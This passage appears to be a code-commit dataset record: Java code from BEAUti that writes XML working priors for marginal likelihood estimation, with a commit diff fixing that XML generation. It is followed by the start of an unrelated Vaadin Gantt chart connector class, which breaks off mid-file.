new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCLD_MEAN),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCLD_MEAN);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCLD_STDEV),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCLD_STDEV);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
} else {
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCLD_MEAN),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCLD_MEAN);
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCLD_STDEV),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCLD_STDEV);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
break;
case EXPONENTIAL:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + ClockType.UCED_MEAN),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + ClockType.UCED_MEAN);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case MODEL_AVERAGING:
throw new RuntimeException("Marginal likelihood estimation cannot be performed on a clock model that performs model averaging.");
}
break;
case FIXED_LOCAL_CLOCK:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + "clock.rate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + "clock.rate");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
for (Taxa taxonSet : beautiOptions.taxonSets) {
if (beautiOptions.taxonSetsMono.get(taxonSet)) {
String parameterName = taxonSet.getId() + ".rate";
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix() + parameterName),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix() + parameterName);
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
writer.writeIDref(LocalClockModelParser.LOCAL_CLOCK_MODEL, model.getPrefix() + BranchRateModel.BRANCH_RATES);
break;
case RANDOM_LOCAL_CLOCK:
//TODO
writer.writeIDref(RandomLocalClockModelParser.LOCAL_BRANCH_RATES, model.getPrefix() + BranchRateModel.BRANCH_RATES);
break;
default:
throw new IllegalArgumentException("Unknown clock model");
}
}
//Provide working priors for the coalescent model(s)
for (PartitionTreePrior model : beautiOptions.getPartitionTreePriors()) {
TreePriorType nodeHeightPrior = model.getNodeHeightPrior();
TreePriorParameterizationType parameterization = model.getParameterization();
if (DEBUG) {
System.err.println("nodeHeightPrior: " + nodeHeightPrior);
}
switch (nodeHeightPrior) {
case CONSTANT:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "constant.popSize"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "constant.popSize");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case EXPONENTIAL:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "exponential.popSize"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "exponential.popSize");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
if (parameterization == TreePriorParameterizationType.GROWTH_RATE) {
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "exponential.growthRate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "exponential.growthRate");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "exponential.doublingTime"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "exponential.doublingTime");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
break;
case LOGISTIC:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "logistic.popSize"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "logistic.popSize");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
if (parameterization == TreePriorParameterizationType.GROWTH_RATE) {
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "logistic.growthRate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "logistic.growthRate");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "logistic.doublingTime"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "logistic.doublingTime");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "logistic.t50"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "logistic.t50");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case EXPANSION:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "expansion.popSize"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "expansion.popSize");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
if (parameterization == TreePriorParameterizationType.GROWTH_RATE) {
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "expansion.growthRate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "expansion.growthRate");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
} else {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "expansion.doublingTime"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "expansion.doublingTime");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
writer.writeOpenTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "expansion.ancestralProportion"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "expansion.ancestralProportion");
writer.writeCloseTag(WorkingPriorParsers.LOGIT_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case GMRF_SKYRIDE:
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "skyride.logPopSize"),
new Attribute.Default<Integer>("dimension", beautiOptions.taxonList.getTaxonCount() - 1),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "skyride.logPopSize");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "skyride.precision"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "skyride.precision");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case SKYGRID:
writer.writeOpenTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "skygrid.logPopSize"),
new Attribute.Default<Integer>("dimension", model.getSkyGridCount()),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "skygrid.logPopSize");
writer.writeCloseTag(WorkingPriorParsers.NORMAL_REFERENCE_PRIOR);
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "skygrid.precision"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "skygrid.precision");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
case YULE:
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", "yule.birthRate"),
new Attribute.Default<String>("burnin", "" + (int) (beautiOptions.chainLength * 0.10))
});
writer.writeIDref(ParameterParser.PARAMETER, "yule.birthRate");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
break;
}
}
//TODO: take care of anything else I missed
if (options.choiceTreeWorkingPrior.equals("Product of exponential distributions")) {
writer.writeIDref("productOfExponentialsPosteriorMeansLoess", "exponentials");
} else if (options.choiceTreeWorkingPrior.equals("Matching coalescent model")) {
writer.writeIDref(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD, "coalescentReference");
} else {
writer.writeIDref(YuleModelParser.YULE_MODEL, "yuleReference");
}
writer.writeCloseTag(CompoundLikelihoodParser.WORKING_PRIOR);
writer.writeCloseTag(PathLikelihood.DESTINATION);
writer.writeCloseTag(PathLikelihood.PATH_LIKELIHOOD);
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>(XMLParser.ID, "MLELog"));
attributes.add(new Attribute.Default<Integer>("logEvery", options.mleLogEvery));
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
writer.writeOpenTag("log", attributes);
writer.writeIDref("pathLikelihood", "pathLikelihood");
writer.writeCloseTag("log");
writer.writeCloseTag(MarginalLikelihoodEstimator.MARGINAL_LIKELIHOOD_ESTIMATOR);
writer.writeComment("Generalized stepping-stone sampling estimator from collected samples");
attributes = new ArrayList<Attribute>();
attributes.add(new Attribute.Default<String>("fileName", options.mleFileName));
attributes.add(new Attribute.Default<String>("resultsFileName", options.mleResultFileName));
writer.writeOpenTag(GeneralizedSteppingStoneSamplingAnalysis.GENERALIZED_STEPPING_STONE_SAMPLING_ANALYSIS, attributes);
writer.writeTag("sourceColumn", new Attribute.Default<String>("name", "pathLikelihood.source"), true);
writer.writeTag("destinationColumn", new Attribute.Default<String>("name", "pathLikelihood.destination"), true);
writer.writeTag("thetaColumn", new Attribute.Default<String>("name", "pathLikelihood.theta"), true);
writer.writeCloseTag(GeneralizedSteppingStoneSamplingAnalysis.GENERALIZED_STEPPING_STONE_SAMPLING_ANALYSIS);
}
}
private void writeRelativeRates(XMLWriter writer, PartitionSubstitutionModel model, int codonPartitionCount) {
for (int i = 1; i <= codonPartitionCount; i++) {
writer.writeOpenTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR,
new Attribute[]{
new Attribute.Default<String>("fileName", beautiOptions.logFileName),
new Attribute.Default<String>("parameterColumn", model.getPrefix(i) + "mu"),
new Attribute.Default<String>("burnin", "" + (int)(beautiOptions.chainLength*0.10)),
new Attribute.Default<String>("upperLimit", "" + (double)(codonPartitionCount))
});
writer.writeIDref(ParameterParser.PARAMETER, model.getPrefix(i) + "mu");
writer.writeCloseTag(WorkingPriorParsers.LOG_TRANSFORMED_NORMAL_REFERENCE_PRIOR);
}
}
private void writeCoalescentEventsStatistic(XMLWriter writer) {
writer.writeOpenTag("coalescentEventsStatistic");
// coalescentLikelihood
for (PartitionTreeModel model : options.getPartitionTreeModels()) {
PartitionTreePrior prior = model.getPartitionTreePrior();
TreePriorGenerator.writePriorLikelihoodReferenceLog(prior, model, writer);
writer.writeText("");
}
/*for (PartitionTreePrior prior : options.getPartitionTreePriors()) {
if (prior.getNodeHeightPrior() == TreePriorType.EXTENDED_SKYLINE) {
writer.writeIDref(CoalescentLikelihoodParser.COALESCENT_LIKELIHOOD, prior.getPrefix() + COALESCENT); // only 1 coalescent
} else if (prior.getNodeHeightPrior() == TreePriorType.SKYGRID) {
writer.writeIDref(GMRFSkyrideLikelihoodParser.SKYGRID_LIKELIHOOD, prior.getPrefix() + "skygrid");
}
}*/
writer.writeCloseTag("coalescentEventsStatistic");
}
private void writeParameterIdref(XMLWriter writer, Parameter parameter) {
if (parameter.isStatistic) {
writer.writeIDref("statistic", parameter.getName());
} else {
writer.writeIDref(ParameterParser.PARAMETER, parameter.getName());
}
}
}
| Fixed issue with MLE XML generation in BEAUti.
| src/dr/app/beauti/components/marginalLikelihoodEstimation/MarginalLikelihoodEstimationGenerator.java | Fixed issue with MLE XML generation in BEAUti. | <ide><path>rc/dr/app/beauti/components/marginalLikelihoodEstimation/MarginalLikelihoodEstimationGenerator.java
<ide> attributes.add(new Attribute.Default<String>(XMLParser.ID, "pathLikelihood"));
<ide> writer.writeOpenTag(PathLikelihood.PATH_LIKELIHOOD, attributes);
<ide> writer.writeOpenTag(PathLikelihood.SOURCE);
<del> writer.writeIDref(CompoundLikelihoodParser.POSTERIOR, CompoundLikelihoodParser.POSTERIOR);
<add> writer.writeIDref(CompoundLikelihoodParser.JOINT, CompoundLikelihoodParser.JOINT);
<ide> writer.writeCloseTag(PathLikelihood.SOURCE);
<ide> writer.writeOpenTag(PathLikelihood.DESTINATION);
<ide> writer.writeIDref(CompoundLikelihoodParser.PRIOR, CompoundLikelihoodParser.PRIOR);
<ide> );
<ide>
<ide> writer.writeOpenTag(ConstantPopulationModelParser.POPULATION_SIZE);
<del> writeParameter("constantReference.popSize", "constant.popSize", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("constantReference.popSize", "constant.popSize", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(ConstantPopulationModelParser.POPULATION_SIZE);
<ide> writer.writeCloseTag(ConstantPopulationModelParser.CONSTANT_POPULATION_MODEL);
<ide>
<ide> );
<ide>
<ide> writer.writeOpenTag(ExponentialGrowthModelParser.POPULATION_SIZE);
<del> writeParameter("exponentialReference.popSize", "exponential.popSize", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("exponentialReference.popSize", "exponential.popSize", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(ExponentialGrowthModelParser.POPULATION_SIZE);
<ide> writer.writeOpenTag(ExponentialGrowthModelParser.GROWTH_RATE);
<del> writeParameter("exponentialReference.growthRate", "exponential.growthRate", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("exponentialReference.growthRate", "exponential.growthRate", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(ExponentialGrowthModelParser.GROWTH_RATE);
<ide> writer.writeCloseTag(ExponentialGrowthModelParser.EXPONENTIAL_GROWTH_MODEL);
<ide>
<ide> );
<ide>
<ide> writer.writeOpenTag(LogisticGrowthModelParser.POPULATION_SIZE);
<del> writeParameter("logisticReference.popSize", "logistic.popSize", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("logisticReference.popSize", "logistic.popSize", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(LogisticGrowthModelParser.POPULATION_SIZE);
<ide> writer.writeOpenTag(LogisticGrowthModelParser.GROWTH_RATE);
<del> writeParameter("logisticReference.growthRate", "logistic.growthRate", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("logisticReference.growthRate", "logistic.growthRate", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(LogisticGrowthModelParser.GROWTH_RATE);
<ide> writer.writeOpenTag(LogisticGrowthModelParser.TIME_50);
<del> writeParameter("logisticReference.t50", "logistic.t50", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("logisticReference.t50", "logistic.t50", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(LogisticGrowthModelParser.TIME_50);
<ide> writer.writeCloseTag(LogisticGrowthModelParser.LOGISTIC_GROWTH_MODEL);
<ide>
<ide> );
<ide>
<ide> writer.writeOpenTag(ExpansionModelParser.POPULATION_SIZE);
<del> writeParameter("expansionReference.popSize", "expansion.popSize", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("expansionReference.popSize", "expansion.popSize", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(ExpansionModelParser.POPULATION_SIZE);
<ide> writer.writeOpenTag(ExpansionModelParser.GROWTH_RATE);
<del> writeParameter("expansionReference.growthRate", "expansion.growthRate", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("expansionReference.growthRate", "expansion.growthRate", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(ExpansionModelParser.GROWTH_RATE);
<ide> writer.writeOpenTag(ExpansionModelParser.ANCESTRAL_POPULATION_PROPORTION);
<del> writeParameter("expansionReference.ancestralProportion", "expansion.ancestralProportion", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("expansionReference.ancestralProportion", "expansion.ancestralProportion", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(ExpansionModelParser.ANCESTRAL_POPULATION_PROPORTION);
<ide> writer.writeCloseTag(ExpansionModelParser.EXPANSION_MODEL);
<ide>
<ide> );
<ide>
<ide> writer.writeOpenTag(YuleModelParser.BIRTH_RATE);
<del> writeParameter("yuleReference.birthRate", "yule.birthRate", beautiOptions.logFileName, (int) (options.mleChainLength * 0.10), writer);
<add> writeParameter("yuleReference.birthRate", "yule.birthRate", beautiOptions.logFileName, (int) (beautiOptions.chainLength * 0.10), writer);
<ide> writer.writeCloseTag(YuleModelParser.BIRTH_RATE);
<ide> writer.writeCloseTag(YuleModelParser.YULE_MODEL);
<ide>
<ide> attributes.add(new Attribute.Default<String>(XMLParser.ID, "pathLikelihood"));
<ide> writer.writeOpenTag(PathLikelihood.PATH_LIKELIHOOD, attributes);
<ide> writer.writeOpenTag(PathLikelihood.SOURCE);
<del> writer.writeIDref(CompoundLikelihoodParser.POSTERIOR, CompoundLikelihoodParser.POSTERIOR);
<add> writer.writeIDref(CompoundLikelihoodParser.JOINT, CompoundLikelihoodParser.JOINT);
<ide> writer.writeCloseTag(PathLikelihood.SOURCE);
<ide> writer.writeOpenTag(PathLikelihood.DESTINATION);
<ide> writer.writeOpenTag(CompoundLikelihoodParser.WORKING_PRIOR); |
|
Java | apache-2.0 | 4647819b35d039ea8145eb0beb6c745c018368d4 | 0 | tltv/gantt | /*
* Copyright 2016 Tomi Virtanen
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.tltv.gantt.client;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.tltv.gantt.Gantt;
import org.tltv.gantt.client.shared.GanttClientRpc;
import org.tltv.gantt.client.shared.GanttServerRpc;
import org.tltv.gantt.client.shared.GanttState;
import org.tltv.gantt.client.shared.Step;
import com.google.gwt.core.client.GWT;
import com.google.gwt.core.client.Scheduler;
import com.google.gwt.core.client.Scheduler.ScheduledCommand;
import com.google.gwt.dom.client.Element;
import com.google.gwt.event.dom.client.ScrollEvent;
import com.google.gwt.event.dom.client.ScrollHandler;
import com.google.gwt.event.logical.shared.AttachEvent;
import com.google.gwt.event.logical.shared.AttachEvent.Handler;
import com.google.gwt.event.shared.HandlerRegistration;
import com.google.gwt.i18n.client.TimeZone;
import com.google.gwt.i18n.shared.DateTimeFormat;
import com.google.gwt.user.client.Timer;
import com.google.gwt.user.client.ui.Widget;
import com.vaadin.client.BrowserInfo;
import com.vaadin.client.ComponentConnector;
import com.vaadin.client.ConnectorHierarchyChangeEvent;
import com.vaadin.client.LocaleNotLoadedException;
import com.vaadin.client.LocaleService;
import com.vaadin.client.WidgetUtil;
import com.vaadin.client.communication.RpcProxy;
import com.vaadin.client.communication.StateChangeEvent;
import com.vaadin.client.communication.StateChangeEvent.StateChangeHandler;
import com.vaadin.client.ui.AbstractHasComponentsConnector;
import com.vaadin.client.ui.FocusableScrollPanel;
import com.vaadin.client.ui.VScrollTable;
import com.vaadin.client.ui.layout.ElementResizeEvent;
import com.vaadin.client.ui.layout.ElementResizeListener;
import com.vaadin.client.ui.table.TableConnector;
import com.vaadin.shared.Connector;
import com.vaadin.shared.ui.Connect;
/**
* Connector for client side GWT {@link GanttWidget} and server side
* {@link Gantt} Vaadin component.
*
* @author Tltv
*
*/
@Connect(Gantt.class)
public class GanttConnector extends AbstractHasComponentsConnector {
GanttServerRpc rpc = RpcProxy.create(GanttServerRpc.class, this);
String locale;
String timeZoneId;
TimeZone timeZone;
GanttDateTimeService dateTimeService;
boolean notifyHeight = false;
ComponentConnector delegateScrollConnector;
FocusableScrollPanel delegateScrollPanelTarget;
VScrollTable delegateScrollTableTarget;
HandlerRegistration ganttScrollHandlerRegistration;
HandlerRegistration scrollDelegateHandlerRegistration;
// flag indicating that scroll is delegating right now
boolean ganttDelegatingVerticalScroll = false;
boolean delegatingVerticalScroll = false;
Timer ganttScrollDelay = new Timer() {
@Override
public void run() {
ganttDelegatingVerticalScroll = false;
}
};
Timer scrollDelay = new Timer() {
@Override
public void run() {
delegatingVerticalScroll = false;
}
};
/**
* Scroll handler for Gantt component to delegate to other component.
*/
final ScrollHandler ganttScrollHandler = new ScrollHandler() {
@Override
public void onScroll(ScrollEvent event) {
if (delegatingVerticalScroll) {
// if other component is scrolling, don't allow this scroll
// event
return;
}
ganttScrollDelay.cancel();
ganttDelegatingVerticalScroll = true;
int scrollTop = getWidget().getScrollContainer().getScrollTop();
try {
delegateScrollPanelTarget.setScrollPosition(scrollTop);
} finally {
ganttScrollDelay.schedule(20);
}
}
};
/**
* Scroll handler for scroll events from other component that Gantt may
* react to.
*/
final ScrollHandler scrollDelegateTargetHandler = new ScrollHandler() {
@Override
public void onScroll(ScrollEvent event) {
if (ganttDelegatingVerticalScroll) {
// if gantt is scrolling, don't allow this scroll event
return;
}
scrollDelay.cancel();
int scrollPosition = delegateScrollPanelTarget.getScrollPosition();
delegatingVerticalScroll = true;
try {
getWidget().getScrollContainer().setScrollTop(scrollPosition);
} finally {
scrollDelay.schedule(20);
}
}
};
final StateChangeHandler scrollDelegateTargetStateChangeHandler = new StateChangeHandler() {
@Override
public void onStateChanged(StateChangeEvent stateChangeEvent) {
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
adjustDelegateTargetHeightLazily();
}
});
}
};
ElementResizeListener scrollDelegateTargetResizeListener = new ElementResizeListener() {
@Override
public void onElementResize(ElementResizeEvent e) {
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
adjustDelegateTargetHeightLazily();
}
});
}
};
Timer lazyAdjustDelegateTargetHeight = new Timer() {
@Override
public void run() {
updateDelegateTargetHeight();
}
};
LocaleDataProvider localeDataProvider = new LocaleDataProvider() {
@Override
public String[] getWeekdayNames() {
try {
return LocaleService.getDayNames(locale);
} catch (LocaleNotLoadedException e) {
GWT.log(e.getMessage(), e);
}
// return default
return new String[] { "sunday", "monday", "tuesday", "wednesday",
"thursday", "friday", "saturday" };
}
@Override
public String[] getMonthNames() {
try {
return LocaleService.getMonthNames(locale);
} catch (LocaleNotLoadedException e) {
GWT.log(e.getMessage(), e);
}
// return default
return new String[] { "January", "February", "March", "April",
"May", "June", "July", "August", "September", "October",
"November", "December" };
}
@Override
public int getFirstDayOfWeek() {
try {
// Gantt uses 1-based index, just as the server-side Java
// Locale does. Vaadin locale state has 0-based value.
return LocaleService.getFirstDayOfWeek(locale) + 1;
} catch (LocaleNotLoadedException e) {
GWT.log(e.getMessage(), e);
}
// return default
return 1; // sunday
}
@Override
public String formatDate(Date zonedDate, String formatStr) {
if (dateTimeService == null) {
try {
dateTimeService = new GanttDateTimeService(getLocale());
} catch (LocaleNotLoadedException e) {
GWT.log("Could not create DateTimeService for the locale "
+ getLocale(), e);
return "";
}
}
return dateTimeService.formatDate(zonedDate, formatStr,
getTimeZone());
}
@Override
public String formatDate(Date zonedDate, DateTimeFormat formatter) {
return formatter.format(zonedDate, getTimeZone());
}
@Override
